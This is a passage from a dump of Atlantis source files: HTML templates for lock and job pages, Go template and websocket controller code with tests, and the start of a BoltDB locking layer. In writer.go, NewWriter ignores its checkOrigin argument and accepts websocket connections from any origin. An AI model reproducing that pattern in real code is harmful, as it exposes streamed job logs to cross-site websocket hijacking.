});\n\n          break;\n      default:\n          throw(\"unsupported command \" + lockOrUnlock)\n      }\n\n      return [modal, btn];\n  }\n\n  {{ if .ApplyLock.Locked }}\n  var [modal, btn] = applyLockModalSetup(\"unlock\");\n  {{ else }}\n  var [modal, btn] = applyLockModalSetup(\"lock\");\n  {{ end }}\n\n  // Get the <span> element that closes the modal\n  // using document.getElementsByClassName since jquery $(\"close\") doesn't seem to work for btn click events\n  var span = document.getElementsByClassName(\"close\")[0];\n  var cancelBtn = document.getElementsByClassName(\"cancel\")[0];\n\n  // When the user clicks the button, open the modal\n  btn.click(function() {\n    modal.css(\"display\", \"block\");\n  });\n\n  // When the user clicks on <span> (x), close the modal\n  span.onclick = function() {\n    modal.css(\"display\", \"none\");\n  }\n  cancelBtn.onclick = function() {\n    modal.css(\"display\", \"none\");\n  }\n\n  // When the user clicks anywhere outside of the modal, close it\n  window.onclick = function(event) {\n      if (event.target == modal) {\n          modal.css(\"display\", \"none\");\n      }\n  }\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "server/controllers/web_templates/templates/lock.html.tmpl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>atlantis</title>\n  <meta name=\"description\" content=\"\">\n  <meta name=\"author\" content=\"\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/normalize.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/skeleton.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/custom.css\">\n  <link rel=\"icon\" type=\"image/png\" href=\"{{ .CleanedBasePath }}/static/images/atlantis-icon.png\">\n  <script src=\"{{ .CleanedBasePath }}/static/js/jquery-3.5.1.min.js\"></script>\n</head>\n<body>\n  <div class=\"container\">\n    <section class=\"header\">\n    <a title=\"atlantis\" href=\"{{ .CleanedBasePath }}/\"><img class=\"hero\" src=\"{{ .CleanedBasePath }}/static/images/atlantis-icon_512.png\"/></a>\n    <p class=\"title-heading\">atlantis</p>\n    <p class=\"title-heading\"><strong>{{.LockKey}}</strong> <code>Locked</code></p>\n    </section>\n    <div class=\"navbar-spacer\"></div>\n    <br>\n    <section>\n      <div class=\"lock-detail-grid\">\n        <div><strong>Repo Owner:</strong></div><div>{{.RepoOwner}}</div>\n        <div><strong>Repo Name:</strong></div><div>{{.RepoName}}</div>\n        <div><strong>Pull Request Link:</strong></div><div><a href=\"{{.PullRequestLink}}\" target=\"_blank\">{{.PullRequestLink}}</a></div>\n        <div><strong>Locked By:</strong></div><div>{{.LockedBy}}</div>\n        <div><strong>Workspace:</strong></div><div>{{.Workspace}}</div>\n      </div>\n      <br>\n        <a class=\"button button-primary\" id=\"discardPlanUnlock\">Discard Plan & Unlock</a>\n    </section>\n  </div>\n  <div id=\"discardMessageModal\" class=\"modal\">\n    <!-- Modal content -->\n    <div class=\"modal-content\">\n      <div class=\"modal-header\">\n        <span class=\"close\">&times;</span>\n      </div>\n      <div class=\"modal-body\">\n        <p><strong>Are you sure you want to discard the plan and unlock?</strong></p>\n        <input class=\"button-primary\" id=\"discardYes\" type=\"submit\" value=\"Yes\" data=\"{{.LockKeyEncoded}}\">\n        <input type=\"button\" class=\"cancel\" value=\"Cancel\">\n      </div>\n    </div>\n  </div>\n<footer>\nv{{ .AtlantisVersion }}\n</footer>\n<script>\n  // Get the modal\n  var modal = $(\"#discardMessageModal\");\n\n  // Get the button that opens the modal\n  var btn = $(\"#discardPlanUnlock\");\n  var btnDiscard = $(\"#discardYes\");\n  var lockId = btnDiscard.attr('data');\n\n  // Get the <span> element that closes the modal\n  // using document.getElementsByClassName since jquery $(\"close\") doesn't seem to work for btn click events\n  var span = document.getElementsByClassName(\"close\")[0];\n  var cancelBtn = document.getElementsByClassName(\"cancel\")[0];\n\n  // When the user clicks the button, open the modal\n  btn.click(function() {\n    modal.css(\"display\", \"block\");\n  });\n\n  // When the user clicks on <span> (x), close the modal\n  span.onclick = function() {\n    modal.css(\"display\", \"none\");\n  }\n  cancelBtn.onclick = function() {\n    modal.css(\"display\", \"none\");\n  }\n\n  btnDiscard.click(function() {\n    $.ajax({\n        url: '{{ .CleanedBasePath }}/locks?id='+lockId,\n        type: 'DELETE',\n        success: function(result) {\n          window.location.replace(\"{{ .CleanedBasePath }}/?discard=true\");\n        }\n    });\n  });\n\n  // When the user clicks anywhere outside of the modal, close it\n  window.onclick = function(event) {\n      if (event.target == modal) {\n          modal.css(\"display\", \"none\");\n      }\n  }\n</script>\n</body>\n</html>"
  },
  {
    "path": "server/controllers/web_templates/templates/project-jobs-error.html.tmpl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <title>atlantis</title>\n    <meta name=\"description\" content>\n    <meta name=\"author\" content>\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/xterm-5.3.0.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/normalize.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/skeleton.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/custom.css\">\n    <link rel=\"icon\" type=\"image/png\" href=\"{{ .CleanedBasePath }}/static/images/atlantis-icon.png\">\n    <style>\n      #terminal {\n        width: 100%;\n        height: 100%;\n      }\n    </style>\n  </head>\n\n  <body>\n    <div class=\"container\">\n      <section class=\"header\">\n      <a title=\"atlantis\" href=\"{{ .CleanedBasePath }}\"><img class=\"hero\" src=\"{{ .CleanedBasePath }}/static/images/atlantis-icon_512.png\"/></a>\n      <p class=\"title-heading\">atlantis</p>\n      <p class=\"title-heading\"><strong></strong></p>\n      </section>\n      <div class=\"spacer\"></div>\n      <br>\n      <section>\n        <div id=\"terminal\"></div>\n      </section>\n    </div>\n    <footer>\n    </footer>\n\n    <script src=\"{{ .CleanedBasePath }}/static/js/jquery-3.5.1.min.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-5.3.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-attach-0.9.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-fit-0.8.0.js\"></script>\n\n    <script>\n      var term = new Terminal();\n      var socket = new WebSocket(\n        (document.location.protocol === \"http:\" ? \"ws://\" : \"wss://\") +\n        document.location.host +\n        document.location.pathname +\n        \"/ws\");\n      var attachAddon = new AttachAddon.AttachAddon(socket);\n      var fitAddon = new FitAddon.FitAddon();\n      term.loadAddon(attachAddon);\n      term.loadAddon(fitAddon);\n      term.open(document.getElementById(\"terminal\"));\n      term.write('Project Does Not Exist in PR')\n      fitAddon.fit();\n      window.addEventListener(\"resize\", () => fitAddon.fit());\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "server/controllers/web_templates/templates/project-jobs.html.tmpl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <title>atlantis</title>\n    <meta name=\"description\" content>\n    <meta name=\"author\" content>\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/xterm-5.3.0.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/normalize.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/skeleton.css\">\n    <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/custom.css\">\n    <link rel=\"icon\" type=\"image/png\" href=\"{{ .CleanedBasePath }}/static/images/atlantis-icon.png\">\n    <style>\n      #terminal {\n        position: fixed;\n        top: 0px;\n        left: 0px;\n        bottom: 0px;\n        right: 0px;\n        border: 5px solid white;\n        z-index: 10;\n        }\n\n      .terminal.xterm {\n        padding: 10px;\n      }\n      #watermark {\n        opacity: 0.5;\n        color: BLACK;\n        position: absolute;\n        bottom: 0;\n        padding-right: 30px;\n        padding-bottom: 15px;\n        right: 0;\n        z-index: 15;\n      }\n    </style>\n  </head>\n\n  <body>\n    <section id=\"watermark\">\n    <a title=\"atlantis\" href=\"{{ .CleanedBasePath }}/\"><img class=\"hero\" src=\"{{ .CleanedBasePath }}/static/images/atlantis-icon_512.png\"/></a>\n    <p class=\"terminal-heading-white\">atlantis</p>\n    <p class=\"title-heading\"><strong></strong></p>\n    </section>\n    <section>\n      <div id=\"terminal\"></div>\n    </section>\n  </div>\n  <footer class=\"footer-white\">Initializing...\n  </footer>\n\n    <script src=\"{{ .CleanedBasePath }}/static/js/jquery-3.5.1.min.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-5.3.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-attach-0.9.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-fit-0.8.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-search-0.13.0.js\"></script>\n    <script src=\"{{ .CleanedBasePath }}/static/js/xterm-addon-search-bar.js\"></script>\n\n    <script>\n      function updateTerminalStatus(msg) {\n          document.getElementsByTagName(\"footer\")[0].innerText = msg;\n      }\n      var term = new Terminal({scrollback: 15000, smoothScrollDuration:125 });\n      var socket = new WebSocket(\n        (document.location.protocol === \"http:\" ? \"ws://\" : \"wss://\") +\n        document.location.host +\n        document.location.pathname +\n        \"/ws\");\n\n      socket.onopen = function(event) {\n        updateTerminalStatus(\"Running...\");\n      };\n      socket.onclose = function(event) {\n        updateTerminalStatus(\"Done\");\n      };\n\n      window.addEventListener(\"unload\", function(event) {\n        websocket.close();\n      })\n      var attachAddon = new AttachAddon.AttachAddon(socket);\n      var fitAddon = new FitAddon.FitAddon();\n      var searchAddon = new SearchAddon.SearchAddon();\n      var searchBarAddon = new SearchBarAddon.SearchBarAddon({searchAddon});\n      term.loadAddon(attachAddon);\n      term.loadAddon(fitAddon);\n      term.loadAddon(searchAddon);\n      term.loadAddon(searchBarAddon);\n      term.open(document.getElementById(\"terminal\"));\n      searchBarAddon.show();\n      fitAddon.fit();\n      window.addEventListener(\"resize\", () => fitAddon.fit());\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "server/controllers/web_templates/web_templates.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage web_templates\n\nimport (\n\t\"embed\"\n\t\"html/template\"\n\t\"io\"\n\t\"time\"\n\n\t\"github.com/Masterminds/sprig/v3\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_template_writer.go TemplateWriter\n\n//go:embed templates/*\nvar templatesFS embed.FS\n\n// Read all the templates from the embedded filesystem\nvar templates, _ = template.New(\"\").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, \"templates/*.tmpl\")\n\nvar templateFileNames = map[string]string{\n\t\"index\":              \"index.html.tmpl\",\n\t\"lock\":               \"lock.html.tmpl\",\n\t\"project-jobs\":       \"project-jobs.html.tmpl\",\n\t\"project-jobs-error\": \"project-jobs-error.html.tmpl\",\n\t\"github-app\":         \"github-app.html.tmpl\",\n}\n\n// TemplateWriter is an interface over html/template that's used to enable\n// mocking.\ntype TemplateWriter interface {\n\t// Execute applies a parsed template to the specified data object,\n\t// writing the output to wr.\n\tExecute(wr io.Writer, data any) error\n}\n\n// LockIndexData holds the fields needed to display the index view for locks.\ntype LockIndexData struct {\n\tLockPath      string\n\tRepoFullName  string\n\tPullNum       int\n\tPath          string\n\tWorkspace     string\n\tLockedBy      string\n\tTime          time.Time\n\tTimeFormatted string\n}\n\n// ApplyLockData holds the fields to display in the index view\ntype ApplyLockData struct {\n\tLocked                 bool\n\tGlobalApplyLockEnabled bool\n\tTime                   time.Time\n\tTimeFormatted          string\n}\n\n// IndexData holds the data for rendering the index page\ntype IndexData struct {\n\tLocks            []LockIndexData\n\tPullToJobMapping []jobs.PullInfoWithJobIDs\n\n\tApplyLock       ApplyLockData\n\tAtlantisVersion string\n\t// CleanedBasePath is the path Atlantis is accessible at externally. If\n\t// not using a path-based proxy, this will be an empty string. Never ends\n\t// in a '/' (hence \"cleaned\").\n\tCleanedBasePath string\n}\n\nvar IndexTemplate = templates.Lookup(templateFileNames[\"index\"])\n\n// LockDetailData holds the fields needed to display the lock detail view.\ntype LockDetailData struct {\n\tLockKeyEncoded  string\n\tLockKey         string\n\tRepoOwner       string\n\tRepoName        string\n\tPullRequestLink string\n\tLockedBy        string\n\tWorkspace       string\n\tAtlantisVersion string\n\t// CleanedBasePath is the path Atlantis is accessible at externally. If\n\t// not using a path-based proxy, this will be an empty string. Never ends\n\t// in a '/' (hence \"cleaned\").\n\tCleanedBasePath string\n}\n\nvar LockTemplate = templates.Lookup(templateFileNames[\"lock\"])\n\n// ProjectJobData holds the data needed to stream the current PR information\ntype ProjectJobData struct {\n\tAtlantisVersion string\n\tProjectPath     string\n\tCleanedBasePath string\n}\n\nvar ProjectJobsTemplate = templates.Lookup(templateFileNames[\"project-jobs\"])\n\ntype ProjectJobsError struct {\n\tAtlantisVersion string\n\tProjectPath     string\n\tCleanedBasePath string\n}\n\nvar ProjectJobsErrorTemplate = templates.Lookup(templateFileNames[\"project-jobs-error\"])\n\n// GithubSetupData holds the data for rendering the github app setup page\ntype GithubSetupData struct {\n\tTarget          string\n\tManifest        string\n\tID              int64\n\tKey             string\n\tWebhookSecret   string\n\tURL             string\n\tCleanedBasePath string\n}\n\nvar GithubAppSetupTemplate = templates.Lookup(templateFileNames[\"github-app\"])\n"
  },
  {
    "path": "server/controllers/web_templates/web_templates_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage web_templates\n\nimport (\n\t\"io\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestIndexTemplate(t *testing.T) {\n\terr := IndexTemplate.Execute(io.Discard, IndexData{\n\t\tLocks: []LockIndexData{\n\t\t\t{\n\t\t\t\tLockPath:      \"lock path\",\n\t\t\t\tRepoFullName:  \"repo full name\",\n\t\t\t\tPullNum:       1,\n\t\t\t\tPath:          \"path\",\n\t\t\t\tWorkspace:     \"workspace\",\n\t\t\t\tTime:          time.Now(),\n\t\t\t\tTimeFormatted: \"2006-01-02 15:04:05\",\n\t\t\t},\n\t\t},\n\t\tApplyLock: ApplyLockData{\n\t\t\tLocked:        true,\n\t\t\tTime:          time.Now(),\n\t\t\tTimeFormatted: \"2006-01-02 15:04:05\",\n\t\t},\n\t\tAtlantisVersion: \"v0.0.0\",\n\t\tCleanedBasePath: \"/path\",\n\t\tPullToJobMapping: []jobs.PullInfoWithJobIDs{\n\t\t\t{\n\t\t\t\tPull: jobs.PullInfo{\n\t\t\t\t\tPullNum:      1,\n\t\t\t\t\tRepo:         \"repo\",\n\t\t\t\t\tRepoFullName: \"repo full name\",\n\t\t\t\t\tProjectName:  \"project name\",\n\t\t\t\t\tPath:         \"path\",\n\t\t\t\t\tWorkspace:    \"workspace\",\n\t\t\t\t},\n\t\t\t\tJobIDInfos: []jobs.JobIDInfo{\n\t\t\t\t\t{JobID: \"job id\", JobIDUrl: \"job id url\", JobDescription: \"job description\", Time: time.Now(), TimeFormatted: \"02-01-2006 15:04:05\", JobStep: \"job step\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tOk(t, err)\n}\n\nfunc TestLockTemplate(t *testing.T) {\n\terr := LockTemplate.Execute(io.Discard, LockDetailData{\n\t\tLockKeyEncoded:  \"lock key encoded\",\n\t\tLockKey:         \"lock key\",\n\t\tPullRequestLink: \"https://example.com\",\n\t\tLockedBy:        \"locked by\",\n\t\tWorkspace:       \"workspace\",\n\t\tAtlantisVersion: \"v0.0.0\",\n\t\tCleanedBasePath: \"/path\",\n\t\tRepoOwner:       \"repo owner\",\n\t\tRepoName:        \"repo name\",\n\t})\n\tOk(t, err)\n}\n\nfunc TestProjectJobsTemplate(t *testing.T) {\n\terr := ProjectJobsTemplate.Execute(io.Discard, ProjectJobData{\n\t\tAtlantisVersion: \"v0.0.0\",\n\t\tProjectPath:     \"project path\",\n\t\tCleanedBasePath: \"/path\",\n\t})\n\tOk(t, err)\n}\n\nfunc TestProjectJobsErrorTemplate(t *testing.T) {\n\terr := ProjectJobsTemplate.Execute(io.Discard, ProjectJobsError{\n\t\tAtlantisVersion: \"v0.0.0\",\n\t\tProjectPath:     \"project path\",\n\t\tCleanedBasePath: \"/path\",\n\t})\n\tOk(t, err)\n}\n\nfunc TestGithubAppSetupTemplate(t *testing.T) {\n\terr := GithubAppSetupTemplate.Execute(io.Discard, GithubSetupData{\n\t\tTarget:          \"target\",\n\t\tManifest:        \"manifest\",\n\t\tID:              1,\n\t\tKey:             \"key\",\n\t\tWebhookSecret:   \"webhook secret\",\n\t\tURL:             \"https://example.com\",\n\t\tCleanedBasePath: \"/path\",\n\t})\n\tOk(t, err)\n}\n"
  },
  {
    "path": "server/controllers/websocket/mux.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage websocket\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// PartitionKeyGenerator generates partition keys for the multiplexor\ntype PartitionKeyGenerator interface {\n\tGenerate(r *http.Request) (string, error)\n}\n\n// PartitionRegistry is the registry holding each partition\n// and is responsible for registering/deregistering new buffers\ntype PartitionRegistry interface {\n\tRegister(key string, buffer chan string)\n\tDeregister(key string, buffer chan string)\n\tIsKeyExists(key string) bool\n}\n\n// Multiplexor is responsible for handling the data transfer between the storage layer\n// and the registry. Note this is still a WIP as right now the registry is assumed to handle\n// everything.\ntype Multiplexor struct {\n\twriter       *Writer\n\tkeyGenerator PartitionKeyGenerator\n\tregistry     PartitionRegistry\n}\n\nfunc checkOriginFunc(checkOrigin bool) func(r *http.Request) bool {\n\tif checkOrigin {\n\t\treturn nil // use Gorilla websocket's checkSameOrigin\n\t}\n\treturn func(r *http.Request) bool {\n\t\treturn true\n\t}\n}\n\nfunc NewMultiplexor(log logging.SimpleLogging, keyGenerator PartitionKeyGenerator, registry PartitionRegistry, checkOrigin bool) *Multiplexor {\n\tupgrader := websocket.Upgrader{\n\t\tCheckOrigin: checkOriginFunc(checkOrigin),\n\t}\n\treturn &Multiplexor{\n\t\twriter: &Writer{\n\t\t\tupgrader: upgrader,\n\t\t\tlog:      log,\n\t\t},\n\t\tkeyGenerator: keyGenerator,\n\t\tregistry:     registry,\n\t}\n}\n\n// Handle should be called for a given websocket request. It blocks\n// while writing to the websocket until the buffer is closed.\nfunc (m *Multiplexor) Handle(w http.ResponseWriter, r *http.Request) error {\n\tkey, err := m.keyGenerator.Generate(r)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"generating partition key: %w\", err)\n\t}\n\n\t// check if the job ID exists before registering receiver\n\tif !m.registry.IsKeyExists(key) {\n\t\treturn fmt.Errorf(\"invalid key: %s\", key)\n\t}\n\n\t// Buffer size set to 1000 to ensure messages get queued.\n\t// TODO: make buffer size configurable\n\tbuffer := make(chan string, 1000)\n\n\t// spinning up a goroutine for this since we are attempting to block on the read side.\n\tgo m.registry.Register(key, buffer)\n\tdefer m.registry.Deregister(key, buffer)\n\n\terr = m.writer.Write(w, r, buffer)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"writing to ws %s: %w\", key, err)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/controllers/websocket/mux_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage websocket\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/gorilla/websocket\"\n)\n\nfunc wsHandler(t *testing.T, checkOrigin bool) http.HandlerFunc {\n\tupgrader := websocket.Upgrader{\n\t\tCheckOrigin: checkOriginFunc(checkOrigin),\n\t}\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tc, err := upgrader.Upgrade(w, r, nil)\n\t\tif err != nil {\n\t\t\tt.Log(\"upgrade:\", err)\n\t\t\treturn\n\t\t}\n\t\tdefer c.Close()\n\t}\n}\n\nfunc TestCheckOriginFunc(t *testing.T) {\n\n\ttests := []struct {\n\t\tname        string\n\t\tcheckOrigin bool\n\t\torigin      string\n\t\thost        string\n\t\twantErr     bool\n\t}{\n\t\t{\"same origin\", true, \"http://example.com/\", \"example.com\", false},\n\t\t{\"same origin with port\", true, \"http://example.com:8080/\", \"example.com:8080\", false},\n\t\t{\"fail with different origin\", true, \"http://example.net/\", \"example.com\", true},\n\t\t{\"success with same origin without check\", false, \"http://example.com/\", \"example.com\", false},\n\t\t{\"success with different origin without check\", false, \"http://example.net/\", \"example.com\", false},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ts := httptest.NewServer(wsHandler(t, tt.checkOrigin))\n\t\t\tu, _ := url.Parse(s.URL)\n\t\t\tu.Path = \"/\"\n\t\t\tu.Scheme = \"ws\"\n\t\t\theader := http.Header{\n\t\t\t\t\"Origin\": []string{tt.origin},\n\t\t\t\t\"Host\":   []string{tt.host},\n\t\t\t}\n\t\t\tc, _, err := websocket.DefaultDialer.Dial(u.String(), header)\n\t\t\tif err == nil {\n\t\t\t\tdefer c.Close()\n\t\t\t}\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"websocket dial error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t}\n\t\t})\n\t}\n\n}\n"
  },
  {
    "path": "server/controllers/websocket/writer.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage websocket\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nfunc NewWriter(log logging.SimpleLogging, checkOrigin bool) *Writer {\n\tupgrader := websocket.Upgrader{\n\t\tCheckOrigin: checkOriginFunc(checkOrigin),\n\t}\n\tupgrader.CheckOrigin = func(r *http.Request) bool { return true }\n\treturn &Writer{\n\t\tupgrader: upgrader,\n\t\tlog:      log,\n\t}\n}\n\ntype Writer struct {\n\tupgrader websocket.Upgrader\n\tlog      logging.SimpleLogging\n}\n\nfunc (w *Writer) Write(rw http.ResponseWriter, r *http.Request, input chan string) error {\n\tconn, err := w.upgrader.Upgrade(rw, r, nil)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"upgrading websocket connection: %w\", err)\n\t}\n\n\t// block on reading our input channel\n\tfor msg := range input {\n\t\tif err := conn.WriteMessage(websocket.BinaryMessage, []byte(\"\\r\"+msg+\"\\n\")); err != nil {\n\t\t\tw.log.Warn(\"Failed to write ws message: %s\", err)\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// close ws conn after input channel is closed\n\tif err = conn.Close(); err != nil {\n\t\tw.log.Warn(\"Failed to close ws connection: %s\", err)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/core/boltdb/boltdb.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package boltdb handles our database layer using BoltDB.\npackage boltdb\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tbolt \"go.etcd.io/bbolt\"\n)\n\n// BoltDB is a database using BoltDB\ntype BoltDB struct {\n\tdb                    *bolt.DB\n\tlocksBucketName       []byte\n\tpullsBucketName       []byte\n\tglobalLocksBucketName []byte\n}\n\nconst (\n\tlocksBucketName       = \"runLocks\"\n\tpullsBucketName       = \"pulls\"\n\tglobalLocksBucketName = \"globalLocks\"\n\tpullKeySeparator      = \"::\"\n)\n\n// New returns a valid locker. We need to be able to write to dataDir\n// since bolt stores its data as a file\nfunc New(dataDir string) (*BoltDB, error) {\n\tif err := os.MkdirAll(dataDir, 0700); err != nil {\n\t\treturn nil, fmt.Errorf(\"creating data dir: %w\", err)\n\t}\n\tdb, err := bolt.Open(path.Join(dataDir, \"atlantis.db\"), 0600, &bolt.Options{Timeout: 1 * time.Second})\n\tif err != nil {\n\t\tif err.Error() == \"timeout\" {\n\t\t\treturn nil, errors.New(\"starting BoltDB: timeout (a possible cause is another Atlantis instance already running)\")\n\t\t}\n\t\treturn nil, fmt.Errorf(\"starting BoltDB: %w\", err)\n\t}\n\n\t// Create the buckets.\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tif _, err = tx.CreateBucketIfNotExists([]byte(locksBucketName)); err != nil {\n\t\t\treturn fmt.Errorf(\"creating bucket %q: %w\", locksBucketName, err)\n\t\t}\n\t\tif _, err = tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil {\n\t\t\treturn fmt.Errorf(\"creating bucket %q: %w\", pullsBucketName, err)\n\t\t}\n\t\tif _, err = tx.CreateBucketIfNotExists([]byte(globalLocksBucketName)); err != nil {\n\t\t\treturn fmt.Errorf(\"creating bucket %q: %w\", globalLocksBucketName, err)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"starting BoltDB: %w\", err)\n\t}\n\n\t// Migrate old lock keys to new format.\n\t// Old format: {repoFullName}/{path}/{workspace}\n\t// New format: {repoFullName}/{path}/{workspace}/{projectName}\n\t// We scan all keys and for those that don't match the new format,\n\t// we read their value, create a new key with the new format and\n\t// delete the old key.\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(locksBucketName))\n\n\t\t// Phase 1: Collect keys that need migration\n\t\ttype migration struct {\n\t\t\toldKey   []byte\n\t\t\tnewKey   string\n\t\t\toldValue []byte\n\t\t}\n\t\tvar migrations []migration\n\n\t\tif err := bucket.ForEach(func(oldKey, oldValue []byte) error {\n\t\t\t_, err := locking.IsCurrentLocking(string(oldKey))\n\t\t\tif err != nil {\n\t\t\t\tvar currLock models.ProjectLock\n\t\t\t\tif err := json.Unmarshal(oldValue, &currLock); err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"failed to deserialize current lock\")\n\t\t\t\t}\n\t\t\t\tnewKey := models.GenerateLockKey(currLock.Project, currLock.Workspace)\n\t\t\t\tmigrations = append(migrations, migration{\n\t\t\t\t\toldKey:   append([]byte(nil), oldKey...),\n\t\t\t\t\tnewKey:   newKey,\n\t\t\t\t\toldValue: append([]byte(nil), oldValue...),\n\t\t\t\t})\n\t\t\t}\n\t\t\treturn nil\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, m := range migrations {\n\t\t\tif err := bucket.Put([]byte(m.newKey), m.oldValue); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := bucket.Delete(m.oldKey); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\tlog.Printf(\"warning: failed to migrate BoltDB lock keys: %v\", err)\n\t}\n\n\treturn &BoltDB{\n\t\tdb:                    db,\n\t\tlocksBucketName:       []byte(locksBucketName),\n\t\tpullsBucketName:       []byte(pullsBucketName),\n\t\tglobalLocksBucketName: []byte(globalLocksBucketName),\n\t}, nil\n}\n\n// NewWithDB is used for testing.\nfunc NewWithDB(db *bolt.DB, bucket string, globalBucket string) (*BoltDB, error) {\n\treturn &BoltDB{\n\t\tdb:                    db,\n\t\tlocksBucketName:       []byte(bucket),\n\t\tpullsBucketName:       []byte(pullsBucketName),\n\t\tglobalLocksBucketName: []byte(globalBucket),\n\t}, nil\n}\n\n// TryLock attempts to create a new lock. If the lock is\n// acquired, it will return true and the lock returned will be newLock.\n// If the lock is not acquired, it will return false and the current\n// lock that is preventing this lock from being acquired.\nfunc (b *BoltDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) {\n\tvar lockAcquired bool\n\tvar currLock models.ProjectLock\n\tkey := b.lockKey(newLock.Project, newLock.Workspace)\n\tnewLockSerialized, _ := json.Marshal(newLock)\n\ttransactionErr := b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.locksBucketName)\n\n\t\t// if there is no run at that key then we're free to create the lock\n\t\tcurrLockSerialized := bucket.Get([]byte(key))\n\t\tif currLockSerialized == nil {\n\t\t\t// This will only error on readonly buckets, it's okay to ignore.\n\t\t\tbucket.Put([]byte(key), newLockSerialized) // nolint: errcheck\n\t\t\tlockAcquired = true\n\t\t\tcurrLock = newLock\n\t\t\treturn nil\n\t\t}\n\n\t\t// otherwise the lock fails, return to caller the run that's holding the lock\n\t\tif err := json.Unmarshal(currLockSerialized, &currLock); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to deserialize current lock: %w\", err)\n\t\t}\n\t\tlockAcquired = 